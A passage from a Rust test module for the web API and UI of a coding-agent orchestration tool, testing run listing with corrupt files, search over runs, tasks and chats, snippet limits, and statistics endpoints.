17584 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
17585 let f = Fixture::start().await;
17586 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17587 let broken = f.runs().join("20260902-140502-bad");
17588 std::fs::create_dir_all(&broken).expect("run dir");
17589 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17590
17591 let list = f.get("/api/runs").await;
17592 let detail = f.get("/api/runs/20260902-140502-bad").await;
17593
17594 assert_eq!(list.status, 200);
17595 let listed = list.json();
17596 let ids: Vec<&str> = listed
17597 .as_array()
17598 .expect("an array")
17599 .iter()
17600 .map(|r| r["id"].as_str().expect("an id"))
17601 .collect();
17602 assert_eq!(
17603 ids,
17604 vec!["20260902-140501-good"],
17605 "one unreadable run must not cost the operator the whole history"
17606 );
17607 assert_eq!(detail.status, 500);
17608 assert!(
17609 detail.json()["error"]
17610 .as_str()
17611 .is_some_and(|e| e.contains("run.json")),
17612 "the failure names the file to look at: {}",
17613 detail.body
17614 );
17615 let health = f.get("/api/health").await;
17619 assert_eq!(health.json()["runs_unreadable"], 1);
17620 }
17621
17622 #[tokio::test]
17624 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
17625 let f = Fixture::start().await;
17626 let runs = f.runs();
17627 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
17628 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
17629 let path = runs.join("20260902-140502-bbbb").join("run.json");
17632 let mut v: serde_json::Value =
17633 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
17634 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
17635 std::fs::write(&path, v.to_string()).unwrap();
17636 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17637 std::fs::write(
17638 runs.join("20260902-140503-cccc").join("run.json"),
17639 "{ not json",
17640 )
17641 .unwrap();
17642
17643 let res = f.get("/api/search?scope=runs&q=quokka").await;
17644 assert_eq!(res.status, 200, "{}", res.body);
17645 let v = res.json();
17646 assert_eq!(v["total"], 1, "{v}");
17647 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17648 assert_eq!(v["hits"][0]["field"], "text");
17649 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17650 let parts = v["hits"][0]["snippet"].as_array().unwrap();
17651 assert!(
17652 parts
17653 .iter()
17654 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17655 "{v}"
17656 );
17657 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17658 assert_eq!(
17659 flat, "The Quokka leaks across threads",
17660 "whitespace is collapsed"
17661 );
17662
17663 let both = f
17665 .get("/api/search?scope=runs&q=MOBILE%20quokka")
17666 .await
17667 .json();
17668 assert_eq!(both["total"], 1, "{both}");
17669 let neither = f
17670 .get("/api/search?scope=runs&q=quokka%20zebra")
17671 .await
17672 .json();
17673 assert_eq!(neither["total"], 0, "{neither}");
17674 let stmt = f
17676 .get("/api/search?scope=runs&q=mobile%20first")
17677 .await
17678 .json();
17679 assert_eq!(stmt["total"], 2, "{stmt}");
17680 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17681 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17682 }
17683
17684 #[test]
17685 fn snippet_ignores_terms_longer_than_the_field() {
17686 let terms = ["ok".to_owned(), "elephant".to_owned()];
17687 let parts = snippet_of("ok", &terms);
17688 assert_eq!(
17689 parts,
17690 vec![SnippetPart {
17691 text: "ok".to_owned(),
17692 hit: true
17693 }]
17694 );
17695 }
17696
17697 #[test]
17698 fn snippet_marks_matches_longer_than_the_window() {
17699 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17700 let hit_len = |parts: &[SnippetPart]| -> usize {
17701 parts
17702 .iter()
17703 .filter(|p| p.hit)
17704 .map(|p| p.text.chars().count())
17705 .sum()
17706 };
17707 let total =
17708 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17709
17710 let long = "a".repeat(120);
17711 let parts = snippet_of(&long, std::slice::from_ref(&long));
17712 assert!(hit_len(&parts) > 0, "{parts:?}");
17713 assert!(total(&parts) <= cap);
17714
17715 let ja = "あ".repeat(130);
17716 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17717 assert!(hit_len(&parts) > 0, "{parts:?}");
17718 assert!(total(&parts) <= cap);
17719
17720 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17722 let term = format!("ab{}", "c".repeat(100));
17723 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17724 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17725 assert!(total(&parts) <= cap);
17726
17727 let text = format!("{}z", "a".repeat(119));
17729 let parts = snippet_of(&text, &["a".repeat(120)]);
17730 assert_eq!(hit_len(&parts), 0, "{parts:?}");
17731 }
17732
17733 #[tokio::test]
17734 async fn search_caps_hits_and_snippet_length() {
17735 let f = Fixture::start().await;
17736 let runs = f.runs();
17737 for n in 0..(SEARCH_MAX_HITS + 5) {
17738 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17739 }
17740 let v = f.get("/api/search?scope=runs&q=web").await.json();
17741 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17742 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17743 assert_eq!(v["truncated"], true);
17744 assert!(
17746 v["hits"]
17747 .as_array()
17748 .unwrap()
17749 .iter()
17750 .all(|h| h["run"]["status"] == "merged")
17751 );
17752
17753 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17754 let parts = snippet_of(&long, &["needle".to_owned()]);
17755 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17756 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17757 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17758 }
17759
17760 #[tokio::test]
17761 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17762 let f = Fixture::start().await;
17763 let queue = f.queue();
17764 let mut t = Task::new(
17765 "short title".to_owned(),
17766 "line one\nthe hidden Armadillo detail".to_owned(),
17767 PathBuf::from("/repo/magi"),
17768 Source::Agent {
17769 run: "r1".to_owned(),
17770 node: "chat".to_owned(),
17771 },
17772 );
17773 t.last_error = Some("disk full on /tmp".to_owned());
17774 queue.put(&mut t).expect("file the task");
17775
17776 for (q, want) in [
17777 ("armadillo", 1),
17778 ("disk%20FULL", 1),
17779 ("chat", 1),
17780 ("queued", 1),
17781 ("short%20nothing", 0),
17782 ] {
17783 let v = f
17784 .get(&format!("/api/search?scope=tasks&q={q}"))
17785 .await
17786 .json();
17787 assert_eq!(v["total"], want, "{q}: {v}");
17788 }
17789 for bad in [
17790 "/api/search?scope=tasks&q=",
17791 "/api/search?scope=tasks&q=%20",
17792 "/api/search?scope=chats&q=",
17793 "/api/search?scope=chats&q=%20",
17794 "/api/search?scope=nope&q=a",
17795 "/api/search?q=a",
17796 ] {
17797 assert_eq!(f.get(bad).await.status, 400, "{bad}");
17798 }
17799 }
17800
17801 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17803 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17804 .expect("seat value");
17805 let turns: Vec<serde_json::Value> = turns
17806 .iter()
17807 .map(|(who, body)| {
17808 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17809 })
17810 .collect();
17811 let doc = serde_json::json!({
17812 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17813 "status": status, "turns": turns,
17814 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17815 "seat": seat,
17816 });
17817 let dir = f.home.path().join("talks");
17818 std::fs::create_dir_all(&dir).expect("talks dir");
17819 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17820 }
17821
17822 #[tokio::test]
17823 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
17824 let f = Fixture::start().await;
17825 write_talk(
17826 &f,
17827 "20260901-000001-aaaa",
17828 "open",
17829 &[
17830 (
17831 "operator",
17832 "\n Why does the Pangolin cache expire?\nsecond line",
17833 ),
17834 ("agent", "Because the TTL is thirty seconds."),
17835 ],
17836 );
17837 write_talk(
17838 &f,
17839 "20260901-000002-bbbb",
17840 "closed",
17841 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
17842 );
17843 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
17844
17845 let search = |q: &'static str| {
17846 let f = &f;
17847 async move {
17848 f.get(&format!("/api/search?scope=chats&q={q}"))
17849 .await
17850 .json()
17851 }
17852 };
17853
17854 let v = search("PANGOLIN").await;
17855 assert_eq!(v["scope"], "chats");
17856 assert_eq!(v["total"], 1, "{v}");
17857 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
17858 assert_eq!(v["hits"][0]["field"], "title");
17859 assert_eq!(v["unreadable"], 1, "{v}");
17860 let marked: Vec<&str> = v["hits"][0]["snippet"]
17861 .as_array()
17862 .unwrap()
17863 .iter()
17864 .filter(|p| p["hit"] == true)
17865 .map(|p| p["text"].as_str().unwrap())
17866 .collect();
17867 assert_eq!(marked, ["Pangolin"]);
17868
17869 let v = search("zebra").await;
17871 assert_eq!(v["total"], 1, "{v}");
17872 assert_eq!(v["hits"][0]["field"], "agent");
17873 assert_eq!(search("pangolin%20thirty").await["total"], 1);
17875 assert_eq!(search("pangolin%20zebra").await["total"], 0);
17876 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
17878 assert_eq!(search(q).await["total"], 0, "{q}");
17879 }
17880 assert_eq!(search("second").await["hits"][0]["field"], "operator");
17882 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
17884
17885 let v = f.get("/api/search?scope=nope&q=a").await;
17886 assert_eq!(v.status, 400);
17887 assert!(
17888 v.body.contains("scope must be runs, tasks or chats"),
17889 "{}",
17890 v.body
17891 );
17892 }
17893
17894 #[test]
17895 fn a_question_card_links_a_task_id_to_the_task_page() {
17896 let start = APP_JS
17897 .find("function updateAskCard(")
17898 .expect("updateAskCard exists");
17899 let body = &APP_JS[start..];
17900 let body = &body[..body.find("\n}\n").expect("function end")];
17901 assert!(body.contains("question.run_is_task"));
17902 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
17903 assert!(body.contains("`#/runs/${question.run}`"));
17904 assert!(body.contains("\"task\" : \"run\""));
17905 }
17906
17907 #[test]
17908 fn plain_text_message_surfaces_go_through_linkify() {
17909 assert!(APP_JS.contains("function linkify("));
17910 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
17911 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
17912 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
17913 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
17914 assert!(!APP_JS.contains("innerHTML = text"));
17915 }
17916
17917 #[test]
17918 fn implementation_rate_views_keep_independent_samples() {
17919 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
17920 let a = stats::AgentStats {
17921 competitive_entered: competitive_n,
17922 competitive_wins: usize::from(competitive_n > 0),
17923 solo_entered: solo_n,
17924 solo_adopted: 2 * usize::from(solo_n > 0),
17925 ..Default::default()
17926 };
17927 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
17928 for (key, n, numerator) in [
17929 ("competitive_win_rate", competitive_n, a.competitive_wins),
17930 ("solo_adoption_rate", solo_n, a.solo_adopted),
17931 ] {
17932 if n == 0 {
17933 assert!(v[key].is_null());
17934 } else {
17935 assert_eq!(v[key]["denominator"], n);
17936 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
17937 }
17938 }
17939 }
17940 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
17941 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
17942 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
17943 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17944 }
17945
17946 #[test]
17947 fn stats_bars_share_one_id_keyed_plan() {
17948 let start = APP_JS
17949 .find("function statsBarRows(")
17950 .expect("statsBarRows exists");
17951 let body = &APP_JS[start..];
17952 let body = &body[..body.find("\n}\n").expect("function end")];
17953 assert!(body.contains("statsBarPlan(rows)"));
17954 assert!(body.contains("statsAgentTone(row.agent)"));
17955 assert!(!body.contains("candTone(i)"));
17956 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
17957 for root in [
17958 "stats-agents-bars",
17959 "stats-solo-bars",
17960 "stats-reviewers-bars",
17961 ] {
17962 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
17963 }
17964 }
17965
17966 #[test]
17967 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
17968 let start = APP_JS
17969 .find("function renderStatsReviewerScatter(")
17970 .expect("renderStatsReviewerScatter exists");
17971 let body = &APP_JS[start..];
17972 let body = &body[..body.find("\n}\n").expect("function end")];
17973 assert!(body.contains("statsScatterPlan(reviewers)"));
17974 assert!(body.contains("statsAgentTone(d.agent)"));
17975 assert!(APP_JS.contains("function statsScatterPlan("));
17976 assert!(
17977 APP_JS.contains("d.submitted < STATS_LOW_N")
17978 || APP_JS.contains("r.submitted < STATS_LOW_N")
17979 );
17980 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
17981 assert!(APP_CSS.contains(".precision-scatter"));
17982 }
17983
17984 #[test]
17985 fn advisor_reflection_is_drawn_as_stacked_segments() {
17986 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
17987 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
17988 let html = include_str!("../assets/ui/index.html");
17989 assert!(html.contains("Approximate"));
17990 for label in ["reflected strongly", "faint", "no proposal"] {
17991 assert!(html.contains(label));
17992 }
17993 let css = include_str!("../assets/ui/app.css");
17994 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17995 assert!(css.contains(&format!(".{c} {{")));
17996 }
17997 }
17998
17999 #[test]
18000 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18001 assert!(APP_JS.contains("function statsDailyPlan("));
18002 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18003 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18004 }
18005
18006 #[test]
18007 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18008 let start = APP_JS
18009 .find("function scheduleSearch(")
18010 .expect("scheduleSearch exists");
18011 let body = &APP_JS[start..];
18012 let body = &body[..body.find("\n}\n").expect("function end")];
18013 assert!(body.contains("s.seq += 1"));
18014 }
18015
18016 #[tokio::test]
18021 async fn stats_runs_unreadable_matches_health() {
18022 let f = Fixture::start().await;
18023 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18024 let broken = f.runs().join("20260902-140502-bad");
18025 std::fs::create_dir_all(&broken).expect("run dir");
18026 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18027
18028 let stats = f.get("/api/stats").await;
18029 let health = f.get("/api/health").await;
18030
18031 assert_eq!(stats.status, 200);
18032 assert_eq!(stats.json()["totals"]["runs"], 1);
18033 assert_eq!(stats.json()["runs_unreadable"], 1);
18034 assert_eq!(
18035 stats.json()["runs_unreadable"],
18036 health.json()["runs_unreadable"],
18037 "the dashboard and /api/health must never disagree about how many \
18038 runs could not be read"
18039 );
18040 }
18041
18042 #[tokio::test]
18043 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18044 let f = Fixture::start().await;
18045 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18046 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18047 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18048
18049 let totals = &f.get("/api/stats").await.json()["totals"];
18050 assert_eq!(totals["runs"], 3);
18051 assert_eq!(totals["merged"], 1);
18052 assert_eq!(totals["stalled"], 1);
18053 assert_eq!(totals["in_progress"], 1);
18054 assert_eq!(totals["blocked"], 0);
18057 assert_eq!(totals["ready"], 0);
18058 }
18059
18060 #[tokio::test]
18061 async fn stats_advisors_report_proposals_and_reflection() {
18062 use crate::advise::{Advice, AdvisorRecord, Reflection};
18063 use crate::verdict::Proposal;
18064
18065 let f = Fixture::start().await;
18066 let mut state = RunState::new(
18067 PathBuf::from("/repo/magi"),
18068 "main".to_owned(),
18069 "0123456789abcdef".to_owned(),
18070 "task".to_owned(),
18071 Config::default(),
18072 );
18073 state.id = "20260902-140501-a".to_owned();
18074 state.status = RunStatus::Merged;
18075 state.advice = Some(Advice {
18076 records: vec![
18077 AdvisorRecord {
18078 seat: "advisor-1".to_owned(),
18079 agent: "alpha".to_owned(),
18080 proposal: Some(Proposal {
18081 approach: "do it".to_owned(),
18082 key_tradeoff: "speed over memory".to_owned(),
18083 risks: Vec::new(),
18084 touches: Vec::new(),
18085 why_not_naive: "breaks under load".to_owned(),
18086 }),
18087 error: None,
18088 duration_ms: 0,
18089 reflection: Reflection::Strong,
18090 },
18091 AdvisorRecord {
18092 seat: "advisor-2".to_owned(),
18093 agent: "alpha".to_owned(),
18094 proposal: None,
18095 error: Some("timed out".to_owned()),
18096 duration_ms: 0,
18097 reflection: Reflection::Absent,
18098 },
18099 ],
18100 synthesis: Some("blended brief".to_owned()),
18101 });
18102 let dir = f.runs().join(&state.id);
18103 std::fs::create_dir_all(&dir).expect("run dir");
18104 std::fs::write(
18105 dir.join("run.json"),
18106 serde_json::to_string_pretty(&state).expect("serialize run"),
18107 )
18108 .expect("write run.json");
18109
18110 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18112 let alpha = advisors
18113 .as_array()
18114 .expect("an array")
18115 .iter()
18116 .find(|a| a["agent"] == "alpha")
18117 .expect("alpha row");
18118 assert_eq!(alpha["seated"], 2);
18119 assert_eq!(alpha["proposed"], 1);
18120 assert_eq!(alpha["absent"], 1);
18121 assert_eq!(alpha["strong"], 1);
18122 assert_eq!(alpha["faint"], 0);
18123 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18124 }
18125
18126 #[tokio::test]
18127 async fn stats_hides_agents_outside_the_roster_unless_all() {
18128 use crate::run::Candidate;
18129 let repo = TempDir::new().expect("repo dir");
18130 std::fs::write(
18131 repo.path().join("magi.toml"),
18132 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18133 )
18134 .expect("magi.toml");
18135 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18136 let mut state = RunState::new(
18137 PathBuf::from("/repo/magi"),
18138 "main".to_owned(),
18139 "0123456789abcdef".to_owned(),
18140 "task".to_owned(),
18141 Config::default(),
18142 );
18143 state.id = "20260902-140501-a".to_owned();
18144 state.status = RunStatus::Merged;
18145 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18146 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18147 "index": 0, "label": label.to_string(), "agent": agent,
18148 "branch": "b", "worktree": "/w",
18149 }))
18150 .expect("candidate");
18151 c.label = label;
18152 state.candidates.push(c);
18153 }
18154 let dir = f.runs().join(&state.id);
18155 std::fs::create_dir_all(&dir).expect("run dir");
18156 std::fs::write(
18157 dir.join("run.json"),
18158 serde_json::to_string_pretty(&state).expect("serialize run"),
18159 )
18160 .expect("write run.json");
18161
18162 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18163 v["agents"]
18164 .as_array()
18165 .expect("array")
18166 .iter()
18167 .map(|a| a["agent"].as_str().unwrap().to_owned())
18168 .collect()
18169 };
18170 let hidden = f.get("/api/stats").await.json();
18171 assert_eq!(agents_of(&hidden), ["keep"]);
18172 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18173 assert_eq!(hidden["totals"]["runs"], 1);
18174
18175 let all = f.get("/api/stats?all=true").await.json();
18176 assert_eq!(agents_of(&all).len(), 2);
18177 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18178 let keep_agent = all["agents"]
18180 .as_array()
18181 .unwrap()
18182 .iter()
18183 .find(|a| a["agent"] == "keep")
18184 .unwrap();
18185 assert_eq!(keep_agent["competitive_entered"], 1);
18186 assert_eq!(keep_agent["competitive_wins"], 0);
18187 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18188 assert_eq!(keep_agent["solo_entered"], 0);
18189 assert_eq!(keep_agent["solo_adopted"], 0);
18190 assert!(keep_agent["solo_adoption_rate"].is_null());
18191 }
18192
18193 #[tokio::test]
18194 async fn stats_release_bumps_split_clean_from_attention() {
18195 use crate::run::ReleaseBump;
18196
18197 let f = Fixture::start().await;
18198
18199 let mut clean = RunState::new(
18200 PathBuf::from("/repo/magi"),
18201 "main".to_owned(),
18202 "0123456789abcdef".to_owned(),
18203 "task".to_owned(),
18204 Config::default(),
18205 );
18206 clean.id = "20260902-140501-a".to_owned();
18207 clean.status = RunStatus::Merged;
18208 clean.release_bump = Some(ReleaseBump {
18209 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18210 version: Some("1.0.0".to_owned()),
18211 automerge_enabled: true,
18212 merged_directly: false,
18213 local: false,
18214 release: None,
18215 problem: None,
18216 action_required: None,
18217 skipped: None,
18218 });
18219
18220 let mut blocked = RunState::new(
18221 PathBuf::from("/repo/magi"),
18222 "main".to_owned(),
18223 "0123456789abcdef".to_owned(),
18224 "task".to_owned(),
18225 Config::default(),
18226 );
18227 blocked.id = "20260902-140502-b".to_owned();
18228 blocked.status = RunStatus::Merged;
18229 blocked.release_bump = Some(ReleaseBump {
18230 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18231 version: Some("1.0.1".to_owned()),
18232 automerge_enabled: false,
18233 merged_directly: false,
18234 local: false,
18235 release: None,
18236 problem: Some("checks red".to_owned()),
18237 action_required: Some("look at the PR".to_owned()),
18238 skipped: None,
18239 });
18240
18241 for state in [&clean, &blocked] {
18242 let dir = f.runs().join(&state.id);
18243 std::fs::create_dir_all(&dir).expect("run dir");
18244 std::fs::write(
18245 dir.join("run.json"),
18246 serde_json::to_string_pretty(state).expect("serialize run"),
18247 )
18248 .expect("write run.json");
18249 }
18250
18251 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18252 assert_eq!(bumps["merged"], 2);
18253 assert_eq!(bumps["recorded"], 2);
18254 assert_eq!(bumps["pr_opened"], 2);
18255 assert_eq!(bumps["automerge_enabled"], 1);
18256 assert_eq!(bumps["needs_attention"], 1);
18257 assert_eq!(bumps["clean"], 1);
18258 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18259 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18260 }
18261
18262 #[tokio::test]
18263 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18264 let f = Fixture::start().await;
18265 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18266
18267 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18268 assert_eq!(bumps["merged"], 1);
18269 assert_eq!(bumps["recorded"], 0);
18270 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18273 assert_eq!(bumps["automerge_rate"], Value::Null);
18276 assert_eq!(bumps["attention_rate"], Value::Null);
18277 }
18278
18279 #[tokio::test]
18280 async fn stats_queue_counts_come_from_the_live_queue() {
18281 let f = Fixture::start().await;
18282 let q = f.queue();
18283 let mut queued = Task::new(
18284 "queued task".to_owned(),
18285 "do it".to_owned(),
18286 PathBuf::from("/repo"),
18287 Source::Human,
18288 );
18289 q.put(&mut queued).expect("put queued");
18290 let mut held = Task::new(
18291 "held task".to_owned(),
18292 "do it later".to_owned(),
18293 PathBuf::from("/repo"),
18294 Source::Human,
18295 );
18296 held.hold_machine(Some("out of attempts".to_owned()));
18297 q.put(&mut held).expect("put held");
18298
18299 let queue = f.get("/api/stats").await.json()["queue"].clone();
18300 assert_eq!(queue["queued"], 1);
18301 assert_eq!(queue["held"], 1);
18302 assert_eq!(queue["running"], 0);
18303 assert_eq!(queue["done"], 0);
18304 assert_eq!(queue["failed"], 0);
18305 assert_eq!(queue["blocked"], 0);
18306 }
18307
18308 #[tokio::test]
18309 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18310 let f = Fixture::start().await;
18311 let stats = f.get("/api/stats").await;
18312 assert_eq!(stats.status, 200);
18313 assert_eq!(stats.json()["totals"]["runs"], 0);
18314 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18315 assert_eq!(stats.json()["runs_unreadable"], 0);
18316 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18317 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18318 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18319 assert_eq!(stats.json()["repo"], Value::Null);
18320 }
18321
18322 #[tokio::test]
18323 async fn stats_lists_every_repository_with_runs_recorded() {
18324 let f = Fixture::start().await;
18325 write_run_repo(
18326 &f.runs(),
18327 "20260902-140501-a",
18328 RunStatus::Merged,
18329 "/repos/a",
18330 );
18331 write_run_repo(
18332 &f.runs(),
18333 "20260902-140502-b",
18334 RunStatus::Merged,
18335 "/repos/a",
18336 );
18337 write_run_repo(
18338 &f.runs(),
18339 "20260902-140503-c",
18340 RunStatus::Blocked,
18341 "/repos/b",
18342 );
18343
18344 let stats = f.get("/api/stats").await;
18345 assert_eq!(stats.status, 200);
18346 assert_eq!(stats.json()["totals"]["runs"], 3);
18348 assert_eq!(stats.json()["repo"], Value::Null);
18349
18350 let repos = stats.json()["repos"].clone();
18351 let repos = repos.as_array().unwrap();
18352 assert_eq!(repos.len(), 2);
18353 assert_eq!(repos[0]["repo"], "/repos/a");
18355 assert_eq!(repos[0]["name"], "a");
18356 assert_eq!(repos[0]["runs"], 2);
18357 assert_eq!(repos[1]["repo"], "/repos/b");
18358 assert_eq!(repos[1]["runs"], 1);
18359 }
18360
18361 #[tokio::test]
18362 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18363 let f = Fixture::start().await;
18364 write_run_repo(
18365 &f.runs(),
18366 "20260902-140501-a",
18367 RunStatus::Merged,
18368 "/repos/a",
18369 );
18370 write_run_repo(
18371 &f.runs(),
18372 "20260902-140502-b",
18373 RunStatus::Blocked,
18374 "/repos/b",
18375 );
18376
18377 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18378 assert_eq!(stats.status, 200);
18379 assert_eq!(stats.json()["totals"]["runs"], 1);
18380 assert_eq!(stats.json()["totals"]["merged"], 1);
18381 assert_eq!(stats.json()["repo"], "/repos/a");
18382 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18385 assert_eq!(stats.json()["runs_unreadable"], 0);
18388 }
18389
18390 #[tokio::test]
18391 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18392 let f = Fixture::start().await;
18393 write_run_repo(
18394 &f.runs(),
18395 "20260902-140501-a",
18396 RunStatus::Merged,
18397 "/repos/a",
18398 );
18399 write_run_repo(
18400 &f.runs(),
18401 "20260902-140502-b",
18402 RunStatus::Merged,
18403 "/repos/b",
18404 );
18405
18406 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18407 let json = f.get(uri).await.json();
18408 let daily = json["daily"].as_array().expect("daily is an array");
18409 assert_eq!(daily.len(), 30);
18410 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18411 let mut sorted = dates.clone();
18412 sorted.sort();
18413 assert_eq!(dates, sorted);
18414 for d in daily {
18415 assert_eq!(
18416 d["merged"].as_u64().unwrap()
18417 + d["ready"].as_u64().unwrap()
18418 + d["other"].as_u64().unwrap(),
18419 d["runs"].as_u64().unwrap()
18420 );
18421 }
18422 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18423 }
18424 }
18425
18426 #[tokio::test]
18427 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18428 let f = Fixture::start().await;
18429 write_run_repo(
18430 &f.runs(),
18431 "20260902-140501-a",
18432 RunStatus::Merged,
18433 "/repos/a",
18434 );
18435
18436 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18437 assert_eq!(stats.status, 404);
18438 }
18439
18440 #[tokio::test]
18441 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18442 let f = Fixture::start().await;
18443 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18444
18445 let summary = f.get("/api/runs").await.json();
18446 let row = &summary[0];
18447 assert_eq!(row["short"], "a1b2");
18448 assert_eq!(row["status"], "ready");
18449 assert_eq!(row["done"], true);
18450 assert_eq!(row["title"], "Add a web UI");
18451 assert_eq!(row["repo_name"], "magi");
18452 assert_eq!(row["judges"], 3);
18453 assert_eq!(row["winner"], Value::Null);
18454 assert_eq!(row["reviews"], 0);
18455
18456 let detail = f.get("/api/runs/a1b2").await;
18459 assert_eq!(detail.status, 200);
18460 assert_eq!(detail.json()["base_branch"], "main");
18461 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18462 }
18463
18464 #[tokio::test]
18472 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18473 let f = Fixture::start().await;
18474
18475 let mut none_run = RunState::new(
18476 PathBuf::from("/repo/magi"),
18477 "main".to_owned(),
18478 "0123456789abcdef".to_owned(),
18479 "Add a web UI".to_owned(),
18480 Config::default(),
18481 );
18482 none_run.id = "20260902-140503-none".to_owned();
18483 none_run.status = RunStatus::Ready;
18484 none_run.merge = Some(crate::run::MergeOutcome {
18485 mode: crate::config::MergeMode::None,
